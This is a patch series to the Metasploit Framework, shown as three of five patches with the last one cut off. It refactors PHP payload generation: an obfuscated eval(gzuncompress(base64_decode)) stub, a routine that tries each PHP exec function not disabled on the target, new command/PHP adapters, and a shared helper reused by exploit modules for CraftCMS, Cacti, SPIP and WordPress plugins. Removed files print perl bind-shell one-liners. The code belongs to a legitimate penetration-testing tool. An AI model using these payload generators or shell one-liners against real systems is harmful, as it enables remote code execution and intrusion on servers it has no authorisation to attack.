From 962e0981dffb4f1d6075ec3ba04e8b65e119c1de Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 May 2025 11:32:38 -0400 Subject: [PATCH 1/5] Add an ARCH_PHP -> ARCH_CMD adapter --- lib/msf/core/payload/php.rb | 13 ++++- lib/msf/core/payload/php/send_uuid.rb | 2 +- lib/msf/core/payload/python.rb | 10 ++-- modules/payloads/adapters/cmd/unix/php.rb | 51 ++++++++++++++++++++ modules/payloads/adapters/cmd/unix/python.rb | 2 +- 5 files changed, 69 insertions(+), 9 deletions(-) create mode 100644 modules/payloads/adapters/cmd/unix/php.rb diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index 8f30def69537..692893596981 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -136,9 +136,18 @@ def php_system_block(options = {}) exec_methods = [passthru, shell_exec, system, exec, proc_open, popen] exec_methods = exec_methods.shuffle - buf = setup + exec_methods.join("") + fail_block + setup + exec_methods.join("") + fail_block + end - return buf + def self.create_exec_stub(php_code, wrap_in_tags: true) + payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code)) + b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));" + b64_stub = "" if wrap_in_tags + b64_stub + end + def php_create_exec_stub(php_code) + Msf::Payload::PHP.create_exec_stub(php_code) end + end diff --git a/lib/msf/core/payload/php/send_uuid.rb b/lib/msf/core/payload/php/send_uuid.rb index a22704e2a3d8..cb44272a7fbe 100644 --- a/lib/msf/core/payload/php/send_uuid.rb +++ b/lib/msf/core/payload/php/send_uuid.rb @@ -17,7 +17,7 @@ def php_send_uuid(opts={}) sock_var = opts[:sock_var] || '$s' sock_type = opts[:sock_type] || '$s_type' - uuid = opts[:uuid] || generate_payload_uuid + uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PHP, platform: 'php') uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') php = %Q^$u="#{uuid_raw}"; diff --git a/lib/msf/core/payload/python.rb b/lib/msf/core/payload/python.rb index 250aef40f193..9d4660419d5c 100644 --- a/lib/msf/core/payload/python.rb +++ b/lib/msf/core/payload/python.rb @@ -8,18 +8,18 @@ module Msf::Payload::Python # one line and compatible with all Python versions supported by the Python # Meterpreter stage. # - # @param cmd [String] The python code to execute. + # @param python_code [String] The python code to execute. # @return [String] Full python stub to execute the command. # - def self.create_exec_stub(cmd) + def self.create_exec_stub(python_code) # Encoding is required in order to handle Python's formatting - payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd)) + payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_code)) b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))" b64_stub end - def py_create_exec_stub(cmd) - Msf::Payload::Python.create_exec_stub(cmd) + def py_create_exec_stub(python_code) + Msf::Payload::Python.create_exec_stub(python_code) end end diff --git a/modules/payloads/adapters/cmd/unix/php.rb b/modules/payloads/adapters/cmd/unix/php.rb new file mode 100644 index 000000000000..cbaa450d4cb4 --- /dev/null +++ b/modules/payloads/adapters/cmd/unix/php.rb @@ -0,0 +1,51 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PHP Exec', + 'Description' => 'Execute a PHP payload as an OS command from a Posix-compatible shell', + 'Author' => 'Spencer McIntyre', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_PHP, + 'AdaptedPlatform' => 'php' + ) + ) + end + + def compatible?(mod) + if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space + return false + end + + super + end + + def include_send_uuid + true + end + + def generate(_opts = {}) + payload = super + + escaped_exec_stub = Shellwords.escape(Msf::Payload::Php.create_exec_stub(payload)) + + if payload.include?("\n") + escaped_payload = escaped_exec_stub + else + # pick the shorter one + escaped_payload = [Shellwords.escape(payload), escaped_exec_stub].min_by(&:length) + end + + "echo #{escaped_payload}|exec php" + end +end diff --git a/modules/payloads/adapters/cmd/unix/python.rb b/modules/payloads/adapters/cmd/unix/python.rb index 1917a77a0977..c5f26f7b4073 100644 --- a/modules/payloads/adapters/cmd/unix/python.rb +++ b/modules/payloads/adapters/cmd/unix/python.rb @@ -11,7 +11,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'Python Exec', - 'Description' => 'Execute a Python payload from a command', + 'Description' => 'Execute a Python payload as an OS command from a Posix-compatible shell', 'Author' => 'Spencer McIntyre', 'Platform' => 'unix', 'Arch' => ARCH_CMD, From a867267d6026efd5b0571a24f9d6a394f1368cd9 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 May 2025 14:44:21 -0400 Subject: [PATCH 2/5] Define the system_block module function --- lib/msf/core/exploit/php_exe.rb | 6 +- lib/msf/core/payload/php.rb | 74 +++++++++++-------- .../payloads/singles/php/shell_findsock.rb | 12 +-- 3 files changed, 55 insertions(+), 37 deletions(-) diff --git a/lib/msf/core/exploit/php_exe.rb b/lib/msf/core/exploit/php_exe.rb index ca416fb75362..bdb2ef741c1e 100644 --- a/lib/msf/core/exploit/php_exe.rb +++ b/lib/msf/core/exploit/php_exe.rb @@ -49,15 +49,17 @@ def get_write_exec_payload(opts={}) print_warning("Unable to clean up #{bin_name}, delete it manually") end p = Rex::Text.encode_base64(generate_payload_exe) + vars = Rex::RandomIdentifier::Generator.new + dis = "$#{vars[:dis]}" php = %Q{ - #{php_preamble} + #{php_preamble(disabled_varname: dis)} $ex = "#{bin_name}"; $f = fopen($ex, "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); chmod($ex, 0777); function my_cmd($cmd) { - #{php_system_block}; + #{php_system_block(disabled_varname: dis)}; } if (FALSE === strpos(strtolower(PHP_OS), 'win' )) { my_cmd($ex . "&"); diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index 692893596981..d3e293846675 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -16,15 +16,14 @@ module Msf::Payload::Php # # @return [String] A chunk of PHP code # - def php_preamble(options = {}) + def self.preamble(options = {}) dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) dis = '$' + dis if (dis[0,1] != '$') - @dis = dis - # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. - preamble = "/*&1\\n\"; } #{is_callable}='is_callable'; #{in_array}='in_array'; - " - shell_exec = " + TEXT + shell_exec = <<~TEXT if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){ #{output}=`#{cmd}`; - }else" - passthru = " + }else + TEXT + passthru = <<~TEXT if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){ ob_start(); passthru(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); - }else" - system = " + }else + TEXT + system = <<~TEXT if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){ ob_start(); system(#{cmd}); #{output}=ob_get_contents(); ob_end_clean(); - }else" - exec = " + }else + TEXT + exec = <<~TEXT if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){ #{output}=array(); exec(#{cmd},#{output}); #{output}=join(chr(10),#{output}).chr(10); - }else" - proc_open = " + }else + TEXT + proc_open = <<~TEXT if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){ $handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes); #{output}=NULL; @@ -107,8 +115,9 @@ def php_system_block(options = {}) #{output}.=fread($pipes[1],1024); } @proc_close($handle); - }else" - popen = " + }else + TEXT + popen = <<~TEXT if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){ $fp=popen(#{cmd},'r'); #{output}=NULL; @@ -118,7 +127,8 @@ def php_system_block(options = {}) } } @pclose($fp); - }else" + }else + TEXT # Currently unused until we can figure out how to get output with COM # objects (which are not subject to safe mode restrictions) instead of # PHP functions. @@ -128,21 +138,25 @@ def php_system_block(options = {}) # $wscript->run(#{cmd} . ' > %TEMP%\\out.txt'); # #{output} = file_get_contents('%TEMP%\\out.txt'); # }else" - fail_block = " + fail_block = <<~TEXT { #{output}=0; } - " + TEXT exec_methods = [passthru, shell_exec, system, exec, proc_open, popen] exec_methods = exec_methods.shuffle setup + exec_methods.join("") + fail_block end - def self.create_exec_stub(php_code, wrap_in_tags: true) + def php_system_block(options = {}) + Msf::Payload::Php.system_block(options) + end + + def self.create_exec_stub(php_code, options = {}) payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code)) b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));" - b64_stub = "" if wrap_in_tags + b64_stub = "" if options.fetch(:wrap_in_tags, true) b64_stub end diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index a03009e09ca0..fed6352b1add 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -40,16 +40,18 @@ def initialize(info = {}) end def php_findsock - var_cmd = '$' + Rex::Text.rand_text_alpha(6..9) - var_fd = '$' + Rex::Text.rand_text_alpha(6..9) - var_out = '$' + Rex::Text.rand_text_alpha(6..9) + vars = Rex::RandomIdentifier::Generator.new + var_cmd = '$' + vars[:var_cmd] + var_fd = '$' + vars[:var_fd] + var_out = '$' + vars[:var_out] + var_dis = '$' + vars[:var_dis] shell = <<~END_OF_PHP_CODE - #{php_preamble} + #{php_preamble(disabled_varname: var_dis)} print(""); flush(); function mysystem(#{var_cmd}){ - #{php_system_block(cmd_varname: var_cmd, output_varname: var_out)} + #{php_system_block(disabled_varname: var_dis, cmd_varname: var_cmd, output_varname: var_out)} return #{var_out}; } From 7714b73425f3abbb81c7627b5d8f1b7d5028a9b6 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 May 2025 16:09:15 -0400 Subject: [PATCH 3/5] Major refactoring of PHP payloads and related exploits --- lib/msf/core/exploit/php_exe.rb | 7 +-- .../exploit/remote/http/wordpress/admin.rb | 7 +-- lib/msf/core/payload/php.rb | 34 +++++++---- .../craftcms_preauth_rce_cve_2025_32432.rb | 12 ---- .../multi/http/cacti_package_import_rce.rb | 14 +---- .../multi/http/spip_bigup_unauth_rce.rb | 16 ----- .../exploits/multi/http/spip_connect_exec.rb | 12 ---- .../http/spip_porte_plume_previsu_rce.rb | 11 ---- modules/exploits/multi/http/spip_rce_form.rb | 12 ---- .../http/wp_backup_migration_php_filter.rb | 12 ---- .../exploits/multi/http/wp_hash_form_rce.rb | 13 ----- .../http/wp_time_capsule_file_upload_rce.rb | 12 ---- modules/payloads/adapters/php/unix/cmd.rb | 36 ++++++++++++ modules/payloads/singles/php/bind_perl.rb | 58 ------------------- .../payloads/singles/php/bind_perl_ipv6.rb | 58 ------------------- modules/payloads/singles/php/exec.rb | 14 ++--- modules/payloads/singles/php/reverse_perl.rb | 56 ------------------ 17 files changed, 73 insertions(+), 311 deletions(-) create mode 100644 modules/payloads/adapters/php/unix/cmd.rb delete mode 100644 modules/payloads/singles/php/bind_perl.rb delete mode 100644 modules/payloads/singles/php/bind_perl_ipv6.rb delete mode 100644 modules/payloads/singles/php/reverse_perl.rb diff --git a/lib/msf/core/exploit/php_exe.rb b/lib/msf/core/exploit/php_exe.rb index bdb2ef741c1e..894ebcf937dc 100644 --- a/lib/msf/core/exploit/php_exe.rb +++ b/lib/msf/core/exploit/php_exe.rb @@ -49,17 +49,16 @@ def get_write_exec_payload(opts={}) print_warning("Unable to clean up #{bin_name}, delete it manually") end p = Rex::Text.encode_base64(generate_payload_exe) - vars = Rex::RandomIdentifier::Generator.new - dis = "$#{vars[:dis]}" + vars = Rex::RandomIdentifier::Generator.new(language: :php) php = %Q{ - #{php_preamble(disabled_varname: dis)} + #{php_preamble(vars_generator: vars)} $ex = "#{bin_name}"; $f = fopen($ex, "wb"); fwrite($f, base64_decode("#{p}")); fclose($f); chmod($ex, 0777); function my_cmd($cmd) { - #{php_system_block(disabled_varname: dis)}; + #{php_system_block(vars_generator: vars)}; } if (FALSE === strpos(strtolower(PHP_OS), 'win' )) { my_cmd($ex . "&"); diff --git a/lib/msf/core/exploit/remote/http/wordpress/admin.rb b/lib/msf/core/exploit/remote/http/wordpress/admin.rb index bba45689354a..638377e8cd6d 100644 --- a/lib/msf/core/exploit/remote/http/wordpress/admin.rb +++ b/lib/msf/core/exploit/remote/http/wordpress/admin.rb @@ -61,11 +61,10 @@ def generate_plugin(plugin_name, payload_name) php_code = "" if target['Arch'] != ARCH_PHP - dis = '$' + Rex::Text.rand_text_alpha(rand(4..7)) + vars = Rex::RandomIdentifier::Generator.new(language: :php) php_code = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} + #{php_preamble(vars_generator: vars)} + #{php_system_block(vars_generator: vars, cmd: payload.encoded)} END_OF_PHP_CODE php_code = php_code + '?>' end diff --git a/lib/msf/core/payload/php.rb b/lib/msf/core/payload/php.rb index d3e293846675..c1453b39ee2d 100644 --- a/lib/msf/core/payload/php.rb +++ b/lib/msf/core/payload/php.rb @@ -17,8 +17,10 @@ module Msf::Payload::Php # @return [String] A chunk of PHP code # def self.preamble(options = {}) - dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) - dis = '$' + dis if (dis[0,1] != '$') + vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) } + + dis = options[:disabled_varname] || vars[:disabled_varname] + dis = "$#{dis}" unless dis.start_with?('$') # Canonicalize the list of disabled functions to facilitate choosing a # system-like function later. @@ -55,21 +57,23 @@ def php_preamble(options = {}) # command. # def self.system_block(options = {}) - cmd = options[:cmd_varname] || '$cmd' - dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) - output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) } + + cmd = options[:cmd_varname] || vars[:cmd_varname] + dis = options[:disabled_varname] || vars[:disabled_varname] + output = options[:output_varname] || vars[:output_varname] - cmd = '$' + cmd if (cmd[0,1] != '$') - dis = '$' + dis if (dis[0,1] != '$') - output = '$' + output if (output[0,1] != '$') + cmd = '$' + cmd unless cmd.start_with?('$') + dis = '$' + dis unless dis.start_with?('$') + output = '$' + output unless output.start_with?('$') - is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) - in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) + is_callable = vars[:is_callable_varname] + in_array = vars[:in_array_varname] setup = '' if options[:cmd] setup << <<~TEXT - #{cmd}=gzuncompress(base64_decode('#{Rex::Text.encode_base64(Rex::Text.zlib_deflate(options[:cmd]))}')); + #{cmd}=base64_decode('#{Rex::Text.encode_base64(options[:cmd])}'); TEXT end setup << <<~TEXT @@ -153,6 +157,14 @@ def php_system_block(options = {}) Msf::Payload::Php.system_block(options) end + def php_exec_cmd(cmd) + vars = Rex::RandomIdentifier::Generator.new(language: :php) + <<-END_OF_PHP_CODE + #{php_preamble(vars_generator: vars)} + #{php_system_block(vars_generator: vars, cmd: cmd)} + END_OF_PHP_CODE + end + def self.create_exec_stub(php_code, options = {}) payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code)) b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));" diff --git a/modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb b/modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb index 880242e77314..c8baaff9e9e2 100644 --- a/modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb +++ b/modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb @@ -232,16 +232,4 @@ def exploit print_status('Injecting stub & triggering payload...') execute_via_session(payload_code) end - - def php_exec_cmd(encoded_payload) - gen = Rex::RandomIdentifier::Generator.new - disabled_var = "$#{gen[:dis]}" - b64 = Rex::Text.encode_base64(encoded_payload) - - <<~PHP - #{php_preamble(disabled_varname: disabled_var)} - $c=base64_decode("#{b64}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)} - PHP - end end diff --git a/modules/exploits/multi/http/cacti_package_import_rce.rb b/modules/exploits/multi/http/cacti_package_import_rce.rb index 7e1c2e7d2dc9..7cd025b7c885 100644 --- a/modules/exploits/multi/http/cacti_package_import_rce.rb +++ b/modules/exploits/multi/http/cacti_package_import_rce.rb @@ -155,22 +155,10 @@ def check CheckCode::Appears end - # Taken from modules/payloads/singles/php/exec.rb - def php_exec(cmd) - dis = '$' + rand_text_alpha(4..7) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{Rex::Text.encode_base64(cmd)}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - - Rex::Text.compress(shell) - end - def generate_package @payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php" - php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded) + php_payload = target['Type'] == :php ? payload.encoded : php_exec_cmd(payload.encoded) digest = OpenSSL::Digest.new('SHA256') pkey = OpenSSL::PKey::RSA.new(2048) diff --git a/modules/exploits/multi/http/spip_bigup_unauth_rce.rb b/modules/exploits/multi/http/spip_bigup_unauth_rce.rb index 4175e21c5c86..22f7e3b929ab 100644 --- a/modules/exploits/multi/http/spip_bigup_unauth_rce.rb +++ b/modules/exploits/multi/http/spip_bigup_unauth_rce.rb @@ -146,22 +146,6 @@ def get_form_data nil end - # This function generates PHP code to execute a given payload on the target. - # We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts. - # The payload is encoded in base64 to prevent issues with special characters. - # The generated PHP code includes the necessary preamble and system block to execute the payload. - # This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled. - def php_exec_cmd(encoded_payload) - vars = Rex::RandomIdentifier::Generator.new - dis = "$#{vars[:dis]}" - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - end - def exploit form_data = get_form_data diff --git a/modules/exploits/multi/http/spip_connect_exec.rb b/modules/exploits/multi/http/spip_connect_exec.rb index 370c6087e0ed..180f43ae63dc 100644 --- a/modules/exploits/multi/http/spip_connect_exec.rb +++ b/modules/exploits/multi/http/spip_connect_exec.rb @@ -97,18 +97,6 @@ def check Exploit::CheckCode::Safe end - def php_exec_cmd(encoded_payload) - vars = Rex::RandomIdentifier::Generator.new - dis = '$' + vars[:dis] - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return shell - end - def exploit uri = normalize_uri(target_uri.path, 'spip.php') print_status("#{rhost}:#{rport} - Attempting to exploit...") diff --git a/modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb b/modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb index fbc5b9b4d7b0..7a4897ca85a5 100644 --- a/modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb +++ b/modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb @@ -105,17 +105,6 @@ def check CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.") end - def php_exec_cmd(encoded_payload) - dis = '$' + Rex::Text.rand_text_alpha(rand(4..7)) - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return shell - end - def exploit print_status('Preparing to send exploit payload to the target...') phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) diff --git a/modules/exploits/multi/http/spip_rce_form.rb b/modules/exploits/multi/http/spip_rce_form.rb index eaeb069715b2..70e04fec6ca9 100644 --- a/modules/exploits/multi/http/spip_rce_form.rb +++ b/modules/exploits/multi/http/spip_rce_form.rb @@ -112,18 +112,6 @@ def send_payload(cmd, args = {}) ) end - def php_exec_cmd(encoded_payload) - vars = Rex::RandomIdentifier::Generator.new - dis = '$' + vars[:dis] - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return shell - end - def exploit uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr') res = send_request_cgi({ 'uri' => uri }) diff --git a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb index d1cdac00c492..2bc34e25560a 100644 --- a/modules/exploits/multi/http/wp_backup_migration_php_filter.rb +++ b/modules/exploits/multi/http/wp_backup_migration_php_filter.rb @@ -95,18 +95,6 @@ def check CheckCode::Appears end - def php_exec_cmd(encoded_payload) - vars = Rex::RandomIdentifier::Generator.new - dis = '$' + vars[:dis] - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return shell - end - def exploit print_status('Sending the payload, please wait...') diff --git a/modules/exploits/multi/http/wp_hash_form_rce.rb b/modules/exploits/multi/http/wp_hash_form_rce.rb index f7953b2b239d..8600ecc77619 100644 --- a/modules/exploits/multi/http/wp_hash_form_rce.rb +++ b/modules/exploits/multi/http/wp_hash_form_rce.rb @@ -125,19 +125,6 @@ def get_nonce nonce_match ? nonce_match[1] : nil end - def php_exec_cmd(encoded_payload) - dis = '$' + Rex::Text.rand_text_alpha(rand(4..7)) - encoded_clean_payload = Rex::Text.encode_base64(encoded_payload) - - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{encoded_clean_payload}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - - return Rex::Text.compress(shell) - end - def upload_php_file(nonce) file_content = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded) file_name = "#{Rex::Text.rand_text_alpha_lower(8)}.php" diff --git a/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb index 13b9b8be8988..c30a506a7ecc 100644 --- a/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb +++ b/modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb @@ -74,18 +74,6 @@ def initialize(info = {}) ) end - def php_exec_cmd(encoded_payload) - dis = '$' + Rex::RandomIdentifier::Generator.new.generate - b64_encoded_payload = Rex::Text.encode_base64(encoded_payload) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $cmd = base64_decode("#{b64_encoded_payload}"); - #{php_system_block(cmd_varname: '$cmd', disabled_varname: dis)} - END_OF_PHP_CODE - - return Rex::Text.compress(shell) - end - def check return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online? diff --git a/modules/payloads/adapters/php/unix/cmd.rb b/modules/payloads/adapters/php/unix/cmd.rb new file mode 100644 index 000000000000..18b5d7ddd3be --- /dev/null +++ b/modules/payloads/adapters/php/unix/cmd.rb @@ -0,0 +1,36 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'OS Command Exec', + 'Description' => 'Execute an OS command from PHP', + 'Author' => 'Spencer McIntyre', + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_CMD, + 'AdaptedPlatform' => 'unix' + ) + ) + end + + def generate(_opts = {}) + payload = super + + vars = Rex::RandomIdentifier::Generator.new(language: :php) + + <<~TEXT + #{Msf::Payload::Php.preamble(vars_generator: vars)} + #{Msf::Payload::Php.system_block(vars_generator: vars, cmd: payload)} + ?> + TEXT + end +end diff --git a/modules/payloads/singles/php/bind_perl.rb b/modules/payloads/singles/php/bind_perl.rb deleted file mode 100644 index 72540758a484..000000000000 --- a/modules/payloads/singles/php/bind_perl.rb +++ /dev/null @@ -1,58 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -module MetasploitModule - CachedSize = :dynamic - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - include Msf::Payload::Php - - def initialize(info = {}) - super( - merge_info( - info, - 'Name' => 'PHP Command Shell, Bind TCP (via Perl)', - 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)', - 'Author' => ['Samy ', 'cazz'], - 'License' => BSD_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::BindTcp, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'Payload' => { - 'Offsets' => {}, - 'Payload' => '' - } - ) - ) - end - - # - # Constructs the payload - # - def generate(_opts = {}) - vars = Rex::RandomIdentifier::Generator.new - dis = "$#{vars[:dis]}" - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{Rex::Text.encode_base64(command_string)}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return super + shell - end - - # - # Returns the command string to use for execution - # - def command_string - cmd = "perl -MIO -e '$p=fork();exit,if$p;" \ - "$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" \ - "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" - - return cmd - end -end diff --git a/modules/payloads/singles/php/bind_perl_ipv6.rb b/modules/payloads/singles/php/bind_perl_ipv6.rb deleted file mode 100644 index c76d49857a83..000000000000 --- a/modules/payloads/singles/php/bind_perl_ipv6.rb +++ /dev/null @@ -1,58 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -module MetasploitModule - CachedSize = :dynamic - - include Msf::Payload::Single - include Msf::Sessions::CommandShellOptions - include Msf::Payload::Php - - def initialize(info = {}) - super( - merge_info( - info, - 'Name' => 'PHP Command Shell, Bind TCP (via perl) IPv6', - 'Description' => 'Listen for a connection and spawn a command shell via perl (persistent) over IPv6', - 'Author' => ['Samy ', 'cazz'], - 'License' => BSD_LICENSE, - 'Platform' => 'php', - 'Arch' => ARCH_PHP, - 'Handler' => Msf::Handler::BindTcp, - 'Session' => Msf::Sessions::CommandShell, - 'PayloadType' => 'cmd', - 'Payload' => { - 'Offsets' => {}, - 'Payload' => '' - } - ) - ) - end - - # - # Constructs the payload - # - def generate(_opts = {}) - vars = Rex::RandomIdentifier::Generator.new - dis = "$#{vars[:dis]}" - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{Rex::Text.encode_base64(command_string)}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} - END_OF_PHP_CODE - return super + shell - end - - # - # Returns the command string to use for execution - # - def command_string - cmd = "perl -MIO -e '$p=fork();exit,if$p;" \ - "$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;" \ - "$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'" - - return cmd - end -end diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 414397fb0913..8b8158ae33ae 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -29,15 +29,15 @@ def initialize(info = {}) end def php_exec_cmd - cmd = Rex::Text.encode_base64(datastore['CMD']) - dis = '$' + Rex::Text.rand_text_alpha(4..7) - shell = <<-END_OF_PHP_CODE - #{php_preamble(disabled_varname: dis)} - $c = base64_decode("#{cmd}"); - #{php_system_block(cmd_varname: '$c', disabled_varname: dis)} + # please do not copy me into new code, instead use the #php_exec_cmd method after including Msf::Payload::Php or + # use the PHP adapter payload by selecting any php/unix/cmd/* payload + vars = Rex::RandomIdentifier::Generator.new(language: :php) + shell <<-END_OF_PHP_CODE + #{php_preamble(vars_generator: vars)} + #{php_system_block(vars_generator: vars, cmd: datastore['CMD'])} END_OF_PHP_CODE - return Rex::Text.compress(shell) + Rex::Text.compress(shell) end # diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb deleted file mode 100644 index ad171935417a..000000000000 --- a/modules/payloads/singles/php/reverse_perl.rb +++ /dev/null @@ -1,56 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -module MetasploitModule - CachedSize = :dynamic - - include Msf::Payload::Single - include Msf::Payload::Php - include 